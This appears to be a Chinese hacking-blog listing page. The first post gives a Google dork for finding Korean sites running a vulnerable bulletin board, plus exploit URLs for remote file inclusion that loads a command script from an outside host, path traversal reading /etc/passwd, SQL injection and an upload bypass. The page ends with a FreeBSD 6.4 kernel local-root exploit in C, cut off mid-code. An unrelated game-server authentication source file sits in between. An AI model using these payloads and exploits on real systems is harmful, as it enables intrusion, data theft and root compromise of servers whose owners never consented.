墓静而思绪,人静则心死! 注册 | 登陆
浏览模式: 标准 | 列表分类:漏洞分析

拿韩国站的时候,要关注一下这个东东

拿韩国站的时候,要关注一下这个东东

Google Dork: inurl:bbs_sun/board.php

board.php文件内容如下:

————————–
<?
if(!$admin) $pgUp .= “../”;
else if($admin==’N') $pgUp .= “”;

include $pgUp.”inc/dbconn.php”;
include $pgUp.”bbs_sun/config.php”;
?>

<link href=”<?=$skinSrc?>/style.css” rel=”stylesheet” type=”text/css”>
<?
if($mode == “list”) include ($skinSrc.”/list.php”);
else if($mode == “write” || $mode == “modify” || $mode == “reply”) include ($skinSrc.”/write.php”);
else if($mode == “view”) include ($skinSrc.”/view.php”);
else if($mode == “delete” || $mode == “ment_delete”) include ($skinSrc.”/delete.php”);
?>
————————–

 

此处存在远程文件包含漏洞

EXP:

http://xxxx.kr/bbs_sun/board.php?admin=0×50sec.org&pgUp=http://www.0×50sec.org/evil.txt?

board.php?admin=0×50sec.org&pgUp=http://www.0×50sec.org/evil.txt?&skinSrc=http://www.0×50sec.org/cmd.txt?&cmd=id&mode=view

有的含有download.php文件,对file变量和bname变量都没有进行必要的检查,导致文件泄漏漏洞:

EXP:

http://xxxx.kr/s_board_text/download.php?file=../../../../../etc/passwd&bname=../

mode变量为view时,有的版本对number变量没有过滤导致SQL注射漏洞

mode=view&number=

mode变量为write时,有的版本对管理权限的验证存在问题可以被绕过,从而可以发布文章和上传文件。

打开一条记录,将mode=view直接改为write就可以上传了。

可能还存在其他的问题比如文件删除等,懒得看了。

第6代机器狗评测报告

机器狗

» 阅读全文

Tags: 机器狗

良精所有产品通杀 0day

良精所有产品通杀 0day

» 阅读全文

AuthSocket

C++代码
  1. /*  
  2.  * ArcEmu MMORPG Server  
  3.  * Copyright (C) 2008-2010 <http://www.ArcEmu.org/>  
  4.  *  
  5.  * This program is free software: you can redistribute it and/or modify  
  6.  * it under the terms of the GNU Affero General Public License as published by  
  7.  * the Free Software Foundation, either version 3 of the License, or  
  8.  * any later version.  
  9.  *  
  10.  * This program is distributed in the hope that it will be useful,  
  11.  * but WITHOUT ANY WARRANTY; without even the implied warranty of  
  12.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
  13.  * GNU Affero General Public License for more details.  
  14.  *  
  15.  * You should have received a copy of the GNU Affero General Public License  
  16.  * along with this program.  If not, see <http://www.gnu.org/licenses/>.  
  17.  *  
  18.  */  
  19.   
  20. #include "LogonStdAfx.h"   
  21. #include <openssl/md5.h>   
  22.   
  23. enum _errors   
  24. {   
  25.     CE_SUCCESS = 0x00,   
  26.     CE_IPBAN= 0x01,                                   //2bd -- unable to connect (some internal problem)   
  27.     CE_ACCOUNT_CLOSED = 0x03,                            // "This account has been closed and is no longer in service -- Please check the registered email address of this account for further information.";   
  28.     CE_NO_ACCOUNT= 0x04,                                 //(5)The information you have entered is not valid.  Please check the spelling of the account name and password.  If you need help in retrieving a lost or stolen password and account   
  29.     CE_ACCOUNT_IN_USE = 0x06,                            //This account is already logged in.  Please check the spelling and try again.   
  30.     CE_PREORDER_TIME_LIMIT= 0x07,   
  31.     CE_SERVER_FULL= 0x08,                               //Could not log in at this time.  Please try again later.   
  32.     CE_WRONG_BUILD_NUMBER= 0x09,                         //Unable to validate game version.  This may be caused by file corruption or the interference of another program.   
  33.     CE_UPDATE_CLIENT= 0x0a,   
  34.     CE_ACCOUNT_FREEZED= 0x0c   
  35. } ;   
  36.   
  37. AuthSocket::AuthSocket(SOCKET fd) : Socket(fd, 32768, 4096)   
  38. {   
  39.     N.SetHexStr("894B645E89E1535BBDAD5B8B290650530801B18EBFBF5E8FAB3C82872A3E9BB7");   
  40.     g.SetDword(7);   
  41.     s.SetRand(256);   
  42.     m_authenticated = false;   
  43.     m_account = 0;   
  44.     last_recv = time(NULL);   
  45.     removedFromSet = false;   
  46.     m_patch= NULL;   
  47.     m_patchJob= NULL;   
  48.     _authSocketLock.Acquire();   
  49.     _authSockets.insert(this);   
  50.     _authSocketLock.Release();   
  51. }   
  52.   
  53. AuthSocket::~AuthSocket()   
  54. {   
  55.     ASSERT(!m_patchJob);   
  56. }   
  57.   
  58. void AuthSocket::OnDisconnect()   
  59. {   
  60.     if(!removedFromSet)   
  61.     {   
  62.         _authSocketLock.Acquire();   
  63.         _authSockets.erase(this);   
  64.         _authSocketLock.Release();   
  65.     }   
  66.   
  67.     if(m_patchJob)   
  68.     {   
  69.         PatchMgr::getSingleton().AbortPatchJob(m_patchJob);   
  70.         m_patchJob= NULL;   
  71.     }   
  72. }   
  73.   
  74. void AuthSocket::HandleChallenge()   
  75. {   
  76.     // No header   
  77.     if(GetReadBuffer().GetContiguiousBytes() < 4)   
  78.         return;   
  79.   
  80.     // Check the rest of the packet is complete.   
  81.     uint8 * ReceiveBuffer = (uint8*)GetReadBuffer().GetBufferStart();   
  82.   
  83.     uint16 full_size = *(uint16*)&ReceiveBuffer[2];   
  84.   
  85.   
  86.     sLog.outDetail("[AuthChallenge] got header, body is 0x%02X bytes", full_size);   
  87.   
  88.     if(GetReadBuffer().GetSize() < uint32(full_size+4))   
  89.         return;   
  90.   
  91.     // Copy the data into our cached challenge structure   
  92.     if(full_size > sizeof(sAuthLogonChallenge_C))   
  93.     {   
  94.         Disconnect();   
  95.         return;   
  96.     }   
  97.   
  98.     sLog.outDebug("[AuthChallenge] got full packet.");   
  99.   
  100.     //memcpy(&m_challenge, ReceiveBuffer, full_size + 4);   
  101.     //RemoveReadBufferBytes(full_size + 4, true);   
  102.     GetReadBuffer().Read(&m_challenge, full_size + 4);   
  103.   
  104.     // Check client build.   
  105.   
  106.     uint16 build = m_challenge.build;   
  107.   
  108.     // Check client build.   
  109.     if(build > LogonServer::getSingleton().max_build)   
  110.     {   
  111.         // wtf?   
  112.         SendChallengeError(CE_WRONG_BUILD_NUMBER);   
  113.         return;   
  114.     }   
  115.   
  116.     if(build < LogonServer::getSingleton().min_build)   
  117.     {   
  118.         // can we patch?   
  119.         char flippedloc[5] = {0,0,0,0,0};   
  120.         flippedloc[0] = m_challenge.country[3];   
  121.         flippedloc[1] = m_challenge.country[2];   
  122.         flippedloc[2] = m_challenge.country[1];   
  123.         flippedloc[3] = m_challenge.country[0];   
  124.   
  125.         m_patch = PatchMgr::getSingleton().FindPatchForClient(build, flippedloc);   
  126.         if(m_patch == NULL)   
  127.         {   
  128.             // could not find a valid patch   
  129.             SendChallengeError(CE_WRONG_BUILD_NUMBER);   
  130.             return;   
  131.         }   
  132.   
  133.         Log.Debug("Patch""Selected patch %u%s for client.", m_patch->Version,m_patch->Locality);   
  134.   
  135.   
  136.         uint8 response[119] = {   
  137.             0x00, 0x00, 0x00, 0x72, 0x50, 0xa7, 0xc9, 0x27, 0x4a, 0xfa, 0xb8, 0x77, 0x80, 0x70, 0x22,   
  138.             0xda, 0xb8, 0x3b, 0x06, 0x50, 0x53, 0x4a, 0x16, 0xe2, 0x65, 0xba, 0xe4, 0x43, 0x6f, 0xe3,   
  139.             0x29, 0x36, 0x18, 0xe3, 0x45, 0x01, 0x07, 0x20, 0x89, 0x4b, 0x64, 0x5e, 0x89, 0xe1, 0x53,   
  140.             0x5b, 0xbd, 0xad, 0x5b, 0x8b, 0x29, 0x06, 0x50, 0x53, 0x08, 0x01, 0xb1, 0x8e, 0xbf, 0xbf,   
  141.             0x5e, 0x8f, 0xab, 0x3c, 0x82, 0x87, 0x2a, 0x3e, 0x9b, 0xb7, 0x00, 0x00, 0x00, 0x00, 0x00,   
  142.             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
  143.             0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe1, 0x32, 0xa3,   
  144.             0x49, 0x76, 0x5c, 0x5b, 0x35, 0x9a, 0x93, 0x3c, 0x6f, 0x3c, 0x63, 0x6d, 0xc0, 0x00   
  145.         };   
  146.         Send(response, 119);   
  147.         return;   
  148.     }   
  149.   
  150.     // Check for a possible IP ban on this client.   
  151.     BAN_STATUS ipb = IPBanner::getSingleton().CalculateBanStatus(GetRemoteAddress());   
  152.   
  153.     switch(ipb)   
  154.     {   
  155.         case BAN_STATUS_PERMANENT_BAN:   
  156.             SendChallengeError(CE_ACCOUNT_CLOSED);   
  157.             return;   
  158.   
  159.         case BAN_STATUS_TIME_LEFT_ON_BAN:   
  160.             SendChallengeError(CE_ACCOUNT_FREEZED);   
  161.             return;   
  162.   
  163.         default:   
  164.             break;   
  165.     }   
  166.   
  167.     // Null-terminate the account string   
  168.     if(m_challenge.I_len >= 0x50) { Disconnect(); return; }   
  169.     m_challenge.I[m_challenge.I_len] = 0;   
  170.   
  171.     // Clear the shitty hash (for server)   
  172.     string AccountName = (char*)&m_challenge.I;   
  173.     string::size_type i = AccountName.rfind("#");   
  174.     if( i != string::npos )   
  175.     {   
  176.         printf("# ACCOUNTNAME!\n");   
  177.         return;   
  178.         //AccountName.erase( i );   
  179.     }   
  180.   
  181.     // Look up the account information   
  182.     sLog.outDebug("[AuthChallenge] Account Name: \"%s\"", AccountName.c_str());   
  183.   
  184.     m_account = AccountMgr::getSingleton().GetAccount(AccountName);   
  185.     if(m_account == 0)   
  186.     {   
  187.         sLog.outDebug("[AuthChallenge] Invalid account.");   
  188.   
  189.         // Non-existant account   
  190.         SendChallengeError(CE_NO_ACCOUNT);   
  191.         return;   
  192.     }   
  193.   
  194.     sLog.outDebug("[AuthChallenge] Account banned state = %u", m_account->Banned);   
  195.   
  196.     // Check that the account isn't banned.   
  197.     if(m_account->Banned == 1)   
  198.     {   
  199.         SendChallengeError(CE_ACCOUNT_CLOSED);   
  200.         return;   
  201.     }   
  202.     else if(m_account->Banned > 0)   
  203.     {   
  204.         SendChallengeError(CE_ACCOUNT_FREEZED);   
  205.         return;   
  206.     }   
  207.   
  208.     // update cached locale   
  209.     if(!m_account->forcedLocale)   
  210.     {   
  211.         char temp[4];   
  212.         temp[0] = m_challenge.country[3];   
  213.         temp[1] = m_challenge.country[2];   
  214.         temp[2] = m_challenge.country[1];   
  215.         temp[3] = m_challenge.country[0];   
  216.   
  217.         *(uint32*)&m_account->Locale[0] = *(uint32*)temp;   
  218.     }   
  219.   
  220.     Sha1Hash sha;   
  221.     //uint32 tc = s.GetNumBytes();   
  222.     sha.UpdateData( s.AsByteArray(), 32 );   
  223.     sha.UpdateData( m_account->SrpHash, 20 );   
  224.     sha.Finalize();   
  225.   
  226.     BigNumber x;   
  227.     x.SetBinary( sha.GetDigest(), sha.GetLength() );   
  228.     v = g.ModExp(x, N);   
  229.     b.SetRand(152);   
  230.   
  231.     BigNumber gmod = g.ModExp(b, N);   
  232.     B = ((v * 3) + gmod) % N;   
  233.     ASSERT(gmod.GetNumBytes() <= 32);   
  234.   
  235.     BigNumber unk;   
  236.     unk.SetRand(128);   
  237.   
  238.     uint8 response[200];   
  239.     uint32 c = 0;   
  240.     response[c] = 0;                                        c += 1;   
  241.     response[c] = 0;                                        c += 1;   
  242.     response[c] = CE_SUCCESS;                               c += 1;   
  243.     memcpy(&response[c], B.AsByteArray(), 32);              c += 32;   
  244.     response[c] = 1;                                        c += 1;   
  245.     response[c] = g.AsByteArray()[0];                       c += 1;   
  246.     response[c] = 32;                                       c += 1;   
  247.     memcpy(&response[c], N.AsByteArray(), 32);              c += 32;   
  248.     memcpy(&response[c], s.AsByteArray(), s.GetNumBytes()); c += s.GetNumBytes();   
  249.     memcpy(&response[c], unk.AsByteArray(), 16);            c += 16;   
  250.     response[c] = 0;                                        c += 1;   
  251.   
  252.     Send(response, c);   
  253. }   
  254.   
  255. void AuthSocket::HandleProof()   
  256. {   
  257.     if(GetReadBuffer().GetSize() < sizeof(sAuthLogonProof_C))   
  258.         return ;   
  259.   
  260.     // patch   
  261.     if(m_patch&&!m_account)   
  262.     {   
  263.         //RemoveReadBufferBytes(75,false);   
  264.         GetReadBuffer().Remove(75);   
  265.         sLog.outDebug("[AuthLogonProof] Intitiating PatchJob");   
  266.         uint8 bytes[2] = {0x01,0x0a};   
  267.         Send(bytes,2);   
  268.         PatchMgr::getSingleton().InitiatePatch(m_patch, this);   
  269.         return;   
  270.     }   
  271.   
  272.     if(!m_account)   
  273.         return;   
  274.   
  275.     sLog.outDebug("[AuthLogonProof] Interleaving and checking proof...");   
  276.   
  277.     sAuthLogonProof_C lp;   
  278.     //Read(sizeof(sAuthLogonProof_C), (uint8*)&lp);   
  279.     GetReadBuffer().Read(&lp, sizeof(sAuthLogonProof_C));   
  280.   
  281.     BigNumber A;   
  282.     A.SetBinary(lp.A, 32);   
  283.   
  284.     Sha1Hash sha;   
  285.     sha.UpdateBigNumbers(&A, &B, 0);   
  286.     sha.Finalize();   
  287.   
  288.     BigNumber u;   
  289.     u.SetBinary(sha.GetDigest(), 20);   
  290.   
  291.     BigNumber S = (A * (v.ModExp(u, N))).ModExp(b, N);   
  292.     uint8 t[32];   
  293.     uint8 t1[16];   
  294.     uint8 vK[40];   
  295.     memcpy(t, S.AsByteArray(), 32);   
  296.     for (int i = 0; i < 16; i++)   
  297.     {   
  298.         t1[i] = t[i*2];   
  299.     }   
  300.     sha.Initialize();   
  301.     sha.UpdateData(t1, 16);   
  302.     sha.Finalize();   
  303.     for (int i = 0; i < 20; i++)   
  304.     {   
  305.         vK[i*2] = sha.GetDigest()[i];   
  306.     }   
  307.     for (int i = 0; i < 16; i++)   
  308.     {   
  309.         t1[i] = t[i*2+1];   
  310.     }   
  311.     sha.Initialize();   
  312.     sha.UpdateData(t1, 16);   
  313.     sha.Finalize();   
  314.     for (int i = 0; i < 20; i++)   
  315.     {   
  316.         vK[i*2+1] = sha.GetDigest()[i];   
  317.     }   
  318.     m_sessionkey.SetBinary(vK, 40);   
  319.   
  320.     uint8 hash[20];   
  321.   
  322.     sha.Initialize();   
  323.     sha.UpdateBigNumbers(&N, NULL);   
  324.     sha.Finalize();   
  325.     memcpy(hash, sha.GetDigest(), 20);   
  326.     sha.Initialize();   
  327.     sha.UpdateBigNumbers(&g, NULL);   
  328.     sha.Finalize();   
  329.     for (int i = 0; i < 20; i++)   
  330.     {   
  331.         hash[i] ^= sha.GetDigest()[i];   
  332.     }   
  333.     BigNumber t3;   
  334.     t3.SetBinary(hash, 20);   
  335.   
  336.     sha.Initialize();   
  337.     sha.UpdateData((const uint8*)m_account->UsernamePtr->c_str(), (int)m_account->UsernamePtr->size());   
  338.     sha.Finalize();   
  339.   
  340.     BigNumber t4;   
  341.     t4.SetBinary(sha.GetDigest(), 20);   
  342.   
  343.     sha.Initialize();   
  344.     sha.UpdateBigNumbers(&t3, &t4, &s, &A, &B, &m_sessionkey, NULL);   
  345.     sha.Finalize();   
  346.   
  347.     BigNumber M;   
  348.     M.SetBinary(sha.GetDigest(), 20);   
  349.   
  350.     // Compare M1 values.   
  351.     if(memcmp(lp.M1, M.AsByteArray(), 20) != 0)   
  352.     {   
  353.         // Authentication failed.   
  354.         //SendProofError(4, 0);   
  355.         SendChallengeError(CE_NO_ACCOUNT);   
  356.         sLog.outDebug("[AuthLogonProof] M1 values don't match.");   
  357.         return;   
  358.     }   
  359.   
  360.     // Store sessionkey   
  361.     m_account->SetSessionKey(m_sessionkey.AsByteArray());   
  362.   
  363.     // let the client know   
  364.     sha.Initialize();   
  365.     sha.UpdateBigNumbers(&A, &M, &m_sessionkey, 0);   
  366.     sha.Finalize();   
  367.   
  368.     SendProofError(0, sha.GetDigest());   
  369.     sLog.outDebug("[AuthLogonProof] Authentication Success.");   
  370.   
  371.     // we're authenticated now :)   
  372.     m_authenticated = true;   
  373.   
  374.     // Don't update when IP banned, but update anyway if it's an account ban   
  375.     sLogonSQL->Execute("UPDATE accounts SET lastlogin=NOW(), lastip='%s' WHERE acct=%u;", GetRemoteIP().c_str(), m_account->AccountId);   
  376. }   
  377.   
  378. void AuthSocket::SendChallengeError(uint8 Error)   
  379. {   
  380.     uint8 buffer[3];   
  381.     buffer[0] = buffer[1] = 0;   
  382.     buffer[2] = Error;   
  383.   
  384.     Send(buffer, 3);   
  385. }   
  386.   
  387. void AuthSocket::SendProofError(uint8 Error, uint8 * M2)   
  388. {   
  389.     uint8 buffer[32];   
  390.     memset(buffer, 0, 32);   
  391.   
  392.     buffer[0] = 1;   
  393.     buffer[1] = Error;   
  394.     if(M2 == 0)   
  395.     {   
  396.   
  397.         *(uint32*)&buffer[2] = 3;   
  398.   
  399.         Send(buffer, 6);   
  400.         return;   
  401.     }   
  402.   
  403.     memcpy(&buffer[2], M2, 20);   
  404.     buffer[22]= 0x01; //<-- ARENA TOURNAMENT ACC FLAG!   
  405.   
  406.     Send(buffer, 32);   
  407. }   
  408.   
  409. #define AUTH_CHALLENGE 0   
  410. #define AUTH_PROOF 1   
  411. #define AUTH_RECHALLENGE 2   
  412. #define AUTH_REPROOF 3   
  413. #define REALM_LIST 16   
  414. #define INITIATE_TRANSFER 48        // 0x30   
  415. #define TRANSFER_DATA 49        // 0x31   
  416. #define ACCEPT_TRANSFER 50      // 0x32   
  417. #define RESUME_TRANSFER 51      // 0x33   
  418. #define CANCEL_TRANSFER 52      // 0x34   
  419. #define MAX_AUTH_CMD 53   
  420.   
  421. typedef void (AuthSocket::*AuthHandler)();   
  422. static AuthHandler Handlers[MAX_AUTH_CMD] = {   
  423.         &AuthSocket::HandleChallenge,           // 0   
  424.         &AuthSocket::HandleProof,               // 1   
  425.         &AuthSocket::HandleReconnectChallenge,  // 2   
  426.         &AuthSocket::HandleReconnectProof,      // 3   
  427.         NULL,                                   // 4   
  428.         NULL,                                   // 5   
  429.         NULL,                                   // 6   
  430.         NULL,                                   // 7   
  431.         NULL,                                   // 8   
  432.         NULL,                                   // 9   
  433.         NULL,                                   // 10   
  434.         NULL,                                   // 11   
  435.         NULL,                                   // 12   
  436.         NULL,                                   // 13   
  437.         NULL,                                   // 14   
  438.         NULL,                                   // 15   
  439.         &AuthSocket::HandleRealmlist,           // 16   
  440.         NULL,                                   // 17   
  441.         NULL,                                   // 18   
  442.         NULL,                                   // 19   
  443.         NULL,                                   // 20   
  444.         NULL,                                   // 21   
  445.         NULL,                                   // 22   
  446.         NULL,                                   // 23   
  447.         NULL,                                   // 24   
  448.         NULL,                                   // 25   
  449.         NULL,                                   // 26   
  450.         NULL,                                   // 27   
  451.         NULL,                                   // 28   
  452.         NULL,                                   // 29   
  453.         NULL,                                   // 30   
  454.         NULL,                                   // 31   
  455.         NULL,                                   // 32   
  456.         NULL,                                   // 33   
  457.         NULL,                                   // 34   
  458.         NULL,                                   // 35   
  459.         NULL,                                   // 36   
  460.         NULL,                                   // 37   
  461.         NULL,                                   // 38   
  462.         NULL,                                   // 39   
  463.         NULL,                                   // 40   
  464.         NULL,                                   // 41   
  465.         NULL,                                   // 42   
  466.         NULL,                                   // 43   
  467.         NULL,                                   // 44   
  468.         NULL,                                   // 45   
  469.         NULL,                                   // 46   
  470.         NULL,                                   // 47   
  471.         NULL,                                   // 48   
  472.         NULL,                                   // 49   
  473.         &AuthSocket::HandleTransferAccept,      // 50   
  474.         &AuthSocket::HandleTransferResume,      // 51   
  475.         &AuthSocket::HandleTransferCancel,      // 52   
  476. };   
  477.   
  478. void AuthSocket::OnRead()   
  479. {   
  480.     if(GetReadBuffer().GetContiguiousBytes() < 1)   
  481.         return;   
  482.   
  483.     uint8 Command = *(uint8*)GetReadBuffer().GetBufferStart();   
  484.     last_recv = UNIXTIME;   
  485.     if(Command < MAX_AUTH_CMD && Handlers[Command] != NULL)   
  486.         (this->*Handlers[Command])();   
  487.     else  
  488.         Log.Debug("AuthSocket""Unknown cmd %u", Command);   
  489. }   
  490.   
  491. void AuthSocket::HandleRealmlist()   
  492. {   
  493.     sInfoCore.SendRealms(this);   
  494. }   
  495.   
  496. void AuthSocket::HandleReconnectChallenge()   
  497. {   
  498.     // No header   
  499.     if(GetReadBuffer().GetContiguiousBytes() < 4)   
  500.         return;   
  501.   
  502.     // Check the rest of the packet is complete.   
  503.     uint8 * ReceiveBuffer = /*GetReadBuffer(0)*/(uint8*)GetReadBuffer().GetBufferStart();   
  504.     uint16 full_size = *(uint16*)&ReceiveBuffer[2];   
  505.     sLog.outDetail("[AuthChallenge] got header, body is 0x%02X bytes", full_size);   
  506.   
  507.     if(GetReadBuffer().GetSize() < (uint32)full_size+4)   
  508.         return;   
  509.   
  510.     // Copy the data into our cached challenge structure   
  511.     if((size_t)(full_size+4) > sizeof(sAuthLogonChallenge_C))   
  512.     {   
  513.         Disconnect();   
  514.         return;   
  515.     }   
  516.   
  517.     sLog.outDebug("[AuthChallenge] got full packet.");   
  518.   
  519.     memcpy(&m_challenge, ReceiveBuffer, full_size + 4);   
  520.   
  521.     //RemoveReadBufferBytes(full_size + 4, false);   
  522.     GetReadBuffer().Read(&m_challenge, full_size + 4);   
  523.   
  524.     // Check client build.   
  525.     if(m_challenge.build > LogonServer::getSingleton().max_build ||   
  526.         m_challenge.build < LogonServer::getSingleton().min_build)   
  527.     {   
  528.         SendChallengeError(CE_WRONG_BUILD_NUMBER);   
  529.         return;   
  530.     }   
  531.   
  532.     // Check for a possible IP ban on this client.   
  533.     BAN_STATUS ipb = IPBanner::getSingleton().CalculateBanStatus(GetRemoteAddress());   
  534.   
  535.     switch(ipb)   
  536.     {   
  537.     case BAN_STATUS_PERMANENT_BAN:   
  538.         SendChallengeError(CE_ACCOUNT_CLOSED);   
  539.         return;   
  540.   
  541.     case BAN_STATUS_TIME_LEFT_ON_BAN:   
  542.         SendChallengeError(CE_ACCOUNT_FREEZED);   
  543.         return;   
  544.   
  545.     default:   
  546.         break;   
  547.     }   
  548.   
  549.     // Null-terminate the account string   
  550.     m_challenge.I[m_challenge.I_len] = 0;   
  551.   
  552.     // Clear the shitty hash (for server)   
  553. /*  size_t i = 0;  
  554.     for( i = m_challenge.I_len; i >= 0; --i )  
  555.     {  
  556.         if( m_challenge.I[i] == '#' )  
  557.         {  
  558.             m_challenge.I[i] = '\0';  
  559.             break;  
  560.         }  
  561.     }*/  
  562.   
  563.     // Look up the account information   
  564.     string AccountName = (char*)&m_challenge.I;   
  565.     sLog.outDebug("[AuthChallenge] Account Name: \"%s\"", AccountName.c_str());   
  566.   
  567.     m_account = AccountMgr::getSingleton().GetAccount(AccountName);   
  568.     if(m_account == 0)   
  569.     {   
  570.         sLog.outDebug("[AuthChallenge] Invalid account.");   
  571.   
  572.         // Non-existant account   
  573.         SendChallengeError(CE_NO_ACCOUNT);   
  574.         return;   
  575.     }   
  576.   
  577.     sLog.outDebug("[AuthChallenge] Account banned state = %u", m_account->Banned);   
  578.   
  579.     // Check that the account isn't banned.   
  580.     if(m_account->Banned == 1)   
  581.     {   
  582.         SendChallengeError(CE_ACCOUNT_CLOSED);   
  583.         return;   
  584.     }   
  585.     else if(m_account->Banned > 0)   
  586.     {   
  587.         SendChallengeError(CE_ACCOUNT_FREEZED);   
  588.         return;   
  589.     }   
  590.   
  591.     if(!m_account->SessionKey)   
  592.     {   
  593.         SendChallengeError(CE_SERVER_FULL);   
  594.         return;   
  595.     }   
  596.   
  597.     /** burlex: this is pure speculation, I really have no idea what this does :p  
  598.      * just guessed the md5 because it was 16 byte blocks.  
  599.      */  
  600.   
  601.     MD5_CTX ctx;   
  602.     MD5_Init(&ctx);   
  603.     MD5_Update(&ctx, m_account->SessionKey, 40);   
  604.     uint8 buffer[20];   
  605.     MD5_Final(buffer, &ctx);   
  606.     ByteBuffer buf;   
  607.     buf << uint16(2);   
  608.     buf.append(buffer, 20);   
  609.     buf << uint64(0);   
  610.     buf << uint64(0);   
  611.     Send(buf.contents(), 34);   
  612. }   
  613.   
  614. void AuthSocket::HandleReconnectProof()   
  615. {   
  616.     /*  
  617.     printf("Len: %u\n", this->GetReadBufferSize());  
  618.     ByteBuffer buf(58);  
  619.     buf.resize(58);  
  620.     Read(58, const_cast<uint8*>(buf.contents()));  
  621.     buf.hexlike();*/  
  622.   
  623.     if (!m_account)   
  624.         return;   
  625.   
  626.     // Don't update when IP banned, but update anyway if it's an account ban   
  627.     sLogonSQL->Execute("UPDATE accounts SET lastlogin=NOW(), lastip='%s' WHERE acct=%u;", GetRemoteIP().c_str(), m_account->AccountId);   
  628.     //RemoveReadBufferBytes(GetReadBufferSize(), true);   
  629.     GetReadBuffer().Remove( GetReadBuffer().GetSize() );   
  630.   
  631.     if(!m_account->SessionKey)   
  632.     {   
  633.         uint8 buffer[4];   
  634.         buffer[0] = 3;   
  635.         buffer[1] = 0;   
  636.         buffer[2] = 1;   
  637.         buffer[3] = 0;   
  638.         Send(buffer, 4);   
  639.     }   
  640.     else  
  641.     {   
  642.         uint32 x = 3;   
  643.         Send((const uint8*)&x, 4);   
  644.     }   
  645. }   
  646.   
  647. void AuthSocket::HandleTransferAccept()   
  648. {   
  649.     sLog.outDebug("Accepted transfer");   
  650.     if(!m_patch)   
  651.         return;   
  652.   
  653.     //RemoveReadBufferBytes(1,false);   
  654.     GetReadBuffer().Remove(1);   
  655.     PatchMgr::getSingleton().BeginPatchJob(m_patch,this,0);   
  656. }   
  657.   
  658. void AuthSocket::HandleTransferResume()   
  659. {   
  660.     sLog.outDebug("Resuming transfer");   
  661.     if(!m_patch)   
  662.         return;   
  663.   
  664.     //RemoveReadBufferBytes(1,false);   
  665.     GetReadBuffer().Remove(1);   
  666.     uint64 size;   
  667.     //Read(8,(uint8*)&size);   
  668.     GetReadBuffer().Read(&size, 8);   
  669.     if(size>=m_patch->FileSize)   
  670.         return;   
  671.   
  672.     PatchMgr::getSingleton().BeginPatchJob(m_patch,this,(uint32)size);   
  673. }   
  674.   
  675. void AuthSocket::HandleTransferCancel()   
  676. {   
  677.     //RemoveReadBufferBytes(1,false);   
  678.     GetReadBuffer().Remove(1);   
  679.     Disconnect();   
  680. }   

FreeBSD 6.4 rootshell exploit 0day

 

XML/HTML代码
  1. 做为记录,,以后遇到Fb OS的时候可以试试....   
  2.   
  3. #if 0   
  4. FreeBSD 6.4 and below are vulnerable to race condition between pipeclose() and   
  5. knlist_cleardel() resulting in NULL pointer dereference. The following code   
  6. exploits vulnerability to run code in kernel mode, giving root shell and   
  7. escaping from jail.   
  8. #endif   
  9.   
  10. /* 29.08.2009, babcia padlina   
  11. * FreeBSD <= 6.4 pipeclose()/knlist_cleardel() race condition   
  12. *   
  13. * works only on multiprocessor systems   
  14. * gcc -o padlina2 padlina2.c -lpthread   
  15. */   
  16.   
  17. #define _KERNEL   
  18.   
  19. #include <sys/types.h>  
  20. #include <stdio.h>  
  21. #include <unistd.h>  
  22. #include <sys/event.h>  
  23. #include <sys/timespec.h>  
  24. #include <pthread.h>  
  25. #include <fcntl.h>  
  26. #include <string.h>  
  27. #include <stdlib.h>  
  28. #include <sys/mman.h>  
  29. #include <sys/param.h>  
  30. #include <sys/linker.h>  
  31. #include <sys/proc.h>  
  32.   
  33. int fd[2], kq;   
  34. struct kevent kev, ke[2];   
  35. struct timespec timeout;   
  36. volatile int gotroot = 0;   
  37.   
  38. static void kernel_code(void) {   
  39.     struct thread *thread;   
  40.     gotroot = 1;   
  41.     asm(   
  42.         "movl %%fs:0, %0"   
  43.         : "=r"(thread)   
  44.     );   
  45.     thread->td_proc->p_ucred->cr_uid = 0;   
  46.     thread->td_proc->p_ucred->cr_prison = NULL;   
  47.   
  48.     return;   
  49. }   
  50.   
  51. static void code_end(void) {   
  52.     return;   
  53. }   
  54.   
  55. void do_thread(void) {   
  56.     while (!gotroot) {   
  57.         if (pipe(fd) < 0)   
  58.             perror("pipe");   
  59.         memset(&kev, 0, sizeof(kev));   
  60.         EV_SET(&kev, fd[0], EVFILT_READ, EV_ADD | EV_CLEAR, 0, 0, NULL);   
  61.         EV_SET(&kev, fd[1], EVFILT_WRITE, EV_ADD | EV_CLEAR, 0, 0, NULL);   
  62.   
  63.         if (kevent(kq, &kev, 2, &ke, 2, &timeout) < 0)   
  64.             perror("kevent");   
  65.   
  66.         close(fd[0]);   
  67.         close(fd[1]);   
  68.     }   
  69.   
  70.     return;   
  71. }   
  72.   
  73. void do_thread2(void) {   
  74.     usleep(100);   
  75.     while(!gotroot) {   
  76.         close(fd[0]);   
  77.         close(fd[1]);   
  78.     }   
  79.   
  80.     return;   
  81. }   
  82.   
  83. int main(void) {   
  84.     int i;   
  85.     pthread_t pth, pth2;   
  86.   
  87.     if (!getuid() || !geteuid()) {   
  88.         printf("already root.\n");   
  89.         exit(-1);   
  90.     }   
  91.   
  92.     printf("BEWARE! this exploit isn't 100%% reliable. successful exploitation\n"   
  93.         "may cause kernel memory corruption leading to system crash.\n"   
  94.         "it is also possible, that exploit will hang and such process\n"   
  95.         "will be unkillable. hit enter if you want to continue.\n");   
  96.   
  97.     getchar();   
  98.   
  99.     /* safe landing place for 6.4-RELEASE - it protects us from page fault   
  100.        due to invalid read */   
  101.   
  102.     if (mmap((void *)0x408b0000, 0x4000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {   
  103.         perror("mmap");   
  104.         exit(-1);   
  105.     }   
  106.   
  107.     if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {   
  108.         perror("mmap");   
  109.         exit(-1);   
  110.     }   
  111.   
  112.     memcpy(0, &kernel_code, &code_end - &kernel_code);   
  113.   
  114.     if ((kq = kqueue()) < 0) {   
  115.         perror("kqueue");   
  116.         exit(-1);   
  117.     }   
  118.   
  119.     pthread_create(&pth, NULL, (void *)do_thread, NULL);   
  120.     pthread_create(&pth2, NULL, (void *)do_thread2, NULL);   
  121.   
  122.     timeout.tv_sec = 0;   
